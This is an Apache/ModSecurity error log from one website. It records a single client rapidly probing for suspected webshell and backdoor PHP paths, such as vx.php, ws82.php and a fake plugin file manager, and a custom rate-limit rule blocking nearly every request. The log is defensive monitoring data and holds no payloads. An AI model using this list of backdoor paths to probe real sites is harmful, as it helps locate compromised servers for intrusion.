[Thu Apr 16 02:01:54.256076 2026] [:error] [pid 54814:tid 54828] [client 20.203.253.182:53304] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "ad_SkjrHu_-tAAe-BOWvKAAAAYg"]
[Thu Apr 16 02:01:55.183002 2026] [:error] [pid 790:tid 825] [client 20.203.253.182:31027] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "ad_SkyHz-rbrjNOa3VKpiQAAABQ"]
[Thu Apr 16 02:01:56.945357 2026] [:error] [pid 912:tid 991] [client 20.203.253.182:37314] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ad_SlMU0_VzYCBipADkzeQAAARc"]
[Thu Apr 16 02:01:58.206453 2026] [:error] [pid 34542:tid 34547] [client 20.203.253.182:50648] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ad_SlgdF4OGi-asleB6N_gAAAUM"]
[Thu Apr 16 02:01:59.436015 2026] [:error] [pid 34542:tid 34564] [client 20.203.253.182:33549] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ad_SlwdF4OGi-asleB6OBgAAAVQ"]
[Thu Apr 16 02:02:01.077866 2026] [:error] [pid 912:tid 977] [client 20.203.253.182:35527] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ad_SmcU0_VzYCBipADkzfQAAAQk"]
[Thu Apr 16 02:02:02.525634 2026] [:error] [pid 34542:tid 34544] [client 20.203.253.182:18374] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad_SmgdF4OGi-asleB6OHQAAAUA"]
[Thu Apr 16 02:02:07.780485 2026] [:error] [pid 54814:tid 54843] [client 20.203.253.182:17245] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad_SnzrHu_-tAAe-BOWvPwAAAZc"]
[Thu Apr 16 02:02:09.372861 2026] [:error] [pid 34542:tid 34550] [client 20.203.253.182:12597] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad_SoQdF4OGi-asleB6OTwAAAUY"]
[Thu Apr 16 02:02:11.597001 2026] [:error] [pid 20548:tid 20555] [client 20.203.253.182:33663] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad_So6kpqgnqCHq6bJa47AAAAIQ"]
[Thu Apr 16 02:02:12.478553 2026] [:error] [pid 792:tid 901] [client 20.203.253.182:24406] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "ad_SpN3PZ8z30TezIkZhkgAAANQ"]
[Thu Apr 16 02:02:13.840059 2026] [:error] [pid 912:tid 988] [client 20.203.253.182:51828] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "ad_SpcU0_VzYCBipADkzhQAAARQ"]
[Thu Apr 16 02:02:14.840654 2026] [:error] [pid 20548:tid 20568] [client 20.203.253.182:33579] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "ad_SpqkpqgnqCHq6bJa49QAAAJE"]
[Thu Apr 16 02:02:15.686042 2026] [:error] [pid 34542:tid 34564] [client 20.203.253.182:11337] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "ad_SpwdF4OGi-asleB6OWwAAAVQ"]
[Thu Apr 16 02:02:16.585864 2026] [proxy_fcgi:error] [pid 34542:tid 34566] [client 20.203.253.182:24418] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:02:16.826449 2026] [proxy_fcgi:error] [pid 34542:tid 34567] [client 20.203.253.182:24418] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:02:17.096730 2026] [proxy_fcgi:error] [pid 34542:tid 34544] [client 20.203.253.182:24418] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:02:17.375744 2026] [proxy_fcgi:error] [pid 34542:tid 34552] [client 20.203.253.182:24418] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:02:17.622019 2026] [proxy_fcgi:error] [pid 34542:tid 34558] [client 20.203.253.182:24418] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:02:17.971827 2026] [proxy_fcgi:error] [pid 34542:tid 34561] [client 20.203.253.182:24418] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:02:18.254072 2026] [proxy_fcgi:error] [pid 34542:tid 34554] [client 20.203.253.182:24418] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:02:18.557821 2026] [proxy_fcgi:error] [pid 34542:tid 34565] [client 20.203.253.182:24418] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:02:18.807049 2026] [proxy_fcgi:error] [pid 34542:tid 34562] [client 20.203.253.182:24418] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:02:19.046079 2026] [proxy_fcgi:error] [pid 34542:tid 34548] [client 20.203.253.182:24418] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:02:19.286113 2026] [:error] [pid 34542:tid 34563] [client 20.203.253.182:24418] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "ad_SqwdF4OGi-asleB6OcAAAAVM"]
[Thu Apr 16 02:02:20.423106 2026] [:error] [pid 34542:tid 34566] [client 20.203.253.182:54267] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "ad_SrAdF4OGi-asleB6OcgAAAVY"]
[Thu Apr 16 02:02:21.244538 2026] [:error] [pid 912:tid 981] [client 20.203.253.182:51819] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "ad_SrcU0_VzYCBipADkziAAAAQ0"]
[Thu Apr 16 02:02:22.121520 2026] [:error] [pid 54814:tid 54826] [client 20.203.253.182:33547] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "ad_SrjrHu_-tAAe-BOWvVQAAAYY"]
[Thu Apr 16 02:02:23.020654 2026] [:error] [pid 34542:tid 34550] [client 20.203.253.182:18368] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad_SrwdF4OGi-asleB6OdgAAAUY"]
[Thu Apr 16 02:02:23.857466 2026] [:error] [pid 34542:tid 34563] [client 20.203.253.182:22823] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad_SrwdF4OGi-asleB6OfAAAAVM"]
[Thu Apr 16 02:02:24.657121 2026] [:error] [pid 34542:tid 34553] [client 20.203.253.182:22808] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad_SsAdF4OGi-asleB6OggAAAUk"]
[Thu Apr 16 02:02:25.231293 2026] [:error] [pid 54814:tid 54824] [client 20.203.253.182:24416] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad_SsTrHu_-tAAe-BOWvWgAAAYQ"]
[Thu Apr 16 02:02:25.877200 2026] [:error] [pid 790:tid 826] [client 20.203.253.182:17246] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad_SsSHz-rbrjNOa3VKplQAAABU"]
[Thu Apr 16 02:02:26.578209 2026] [:error] [pid 34542:tid 34565] [client 20.203.253.182:8062] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad_SsgdF4OGi-asleB6OkAAAAVU"]
[Thu Apr 16 02:02:27.296002 2026] [:error] [pid 34542:tid 34557] [client 20.203.253.182:33575] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad_SswdF4OGi-asleB6OlQAAAU0"]
[Thu Apr 16 02:02:27.983985 2026] [:error] [pid 34542:tid 34562] [client 20.203.253.182:24439] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad_SswdF4OGi-asleB6OmAAAAVI"]
[Thu Apr 16 02:02:28.664099 2026] [:error] [pid 34542:tid 34545] [client 20.203.253.182:43792] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad_StAdF4OGi-asleB6OmwAAAUE"]
[Thu Apr 16 02:02:29.157894 2026] [:error] [pid 34542:tid 34551] [client 20.203.253.182:22827] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad_StQdF4OGi-asleB6OnQAAAUc"]
[Thu Apr 16 02:02:29.783157 2026] [:error] [pid 34542:tid 34550] [client 20.203.253.182:33591] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad_StQdF4OGi-asleB6OnwAAAUY"]
[Thu Apr 16 02:02:30.441508 2026] [:error] [pid 34542:tid 34545] [client 20.203.253.182:18403] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad_StgdF4OGi-asleB6OogAAAUE"]
[Thu Apr 16 02:02:31.016834 2026] [:error] [pid 20548:tid 20552] [client 20.203.253.182:54234] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad_St6kpqgnqCHq6bJa5BQAAAIE"]
[Thu Apr 16 02:02:31.542174 2026] [:error] [pid 54814:tid 54836] [client 20.203.253.182:11387] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad_StzrHu_-tAAe-BOWvZQAAAZA"]
[Thu Apr 16 02:02:32.220970 2026] [:error] [pid 912:tid 990] [client 20.203.253.182:45697] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad_SuMU0_VzYCBipADkzkQAAARY"]
[Thu Apr 16 02:02:32.873773 2026] [:error] [pid 34542:tid 34567] [client 20.203.253.182:24394] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad_SuAdF4OGi-asleB6OrgAAAVc"]
[Thu Apr 16 02:02:33.634430 2026] [:error] [pid 54814:tid 54833] [client 20.203.253.182:17222] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "ad_SuTrHu_-tAAe-BOWvbAAAAY0"]
[Thu Apr 16 02:02:34.609078 2026] [:error] [pid 34542:tid 34546] [client 20.203.253.182:45716] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "ad_SugdF4OGi-asleB6OuQAAAUI"]
[Thu Apr 16 02:02:35.320806 2026] [:error] [pid 34542:tid 34568] [client 20.203.253.182:8043] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "ad_SuwdF4OGi-asleB6OvgAAAVg"]
[Thu Apr 16 02:02:35.954120 2026] [:error] [pid 54814:tid 54823] [client 20.203.253.182:35550] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "ad_SuzrHu_-tAAe-BOWvcQAAAYM"]
[Thu Apr 16 02:02:36.619946 2026] [:error] [pid 20548:tid 20572] [client 20.203.253.182:13325] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "ad_SvKkpqgnqCHq6bJa5BgAAAJU"]
[Thu Apr 16 02:02:37.290324 2026] [:error] [pid 790:tid 799] [client 20.203.253.182:8021] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "ad_SvSHz-rbrjNOa3VKpmQAAAAU"]
[Thu Apr 16 02:02:38.177461 2026] [:error] [pid 791:tid 865] [client 20.203.253.182:47745] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "ad_Svrxl5Y18om2fepncXAAAAFc"]
[Thu Apr 16 02:02:39.017653 2026] [:error] [pid 54814:tid 54820] [client 20.203.253.182:31040] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "ad_SvzrHu_-tAAe-BOWveAAAAYA"]
[Thu Apr 16 02:02:40.472365 2026] [:error] [pid 912:tid 971] [client 20.203.253.182:11660] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "ad_SwMU0_VzYCBipADkzkwAAAQM"]
[Thu Apr 16 02:02:41.075857 2026] [:error] [pid 34542:tid 34544] [client 20.203.253.182:33601] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "ad_SwQdF4OGi-asleB6OxwAAAUA"]
[Thu Apr 16 02:02:41.643825 2026] [:error] [pid 34542:tid 34556] [client 20.203.253.182:33659] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "ad_SwQdF4OGi-asleB6OzAAAAUw"]
[Thu Apr 16 02:02:42.216881 2026] [:error] [pid 20548:tid 20565] [client 20.203.253.182:11381] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "ad_SwqkpqgnqCHq6bJa5DAAAAI4"]
[Thu Apr 16 02:02:43.074477 2026] [:error] [pid 34542:tid 34568] [client 20.203.253.182:45734] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "ad_SwwdF4OGi-asleB6O0QAAAVg"]
[Thu Apr 16 02:02:43.745592 2026] [:error] [pid 34542:tid 34565] [client 20.203.253.182:33635] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "ad_SwwdF4OGi-asleB6O1gAAAVU"]
[Thu Apr 16 02:02:44.458298 2026] [:error] [pid 34542:tid 34559] [client 20.203.253.182:43781] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "ad_SxAdF4OGi-asleB6O2AAAAU8"]
[Thu Apr 16 02:02:45.094986 2026] [:error] [pid 791:tid 840] [client 20.203.253.182:27138] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "ad_Sxbxl5Y18om2fepncYQAAAEA"]
[Thu Apr 16 02:02:45.602630 2026] [:error] [pid 34542:tid 34562] [client 20.203.253.182:11349] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad_SxQdF4OGi-asleB6O2wAAAVI"]
[Thu Apr 16 02:02:46.133019 2026] [:error] [pid 34542:tid 34544] [client 20.203.253.182:8006] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad_SxgdF4OGi-asleB6O3wAAAUA"]
[Thu Apr 16 02:02:46.649083 2026] [:error] [pid 54814:tid 54832] [client 20.203.253.182:11696] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad_SxjrHu_-tAAe-BOWvkAAAAYw"]
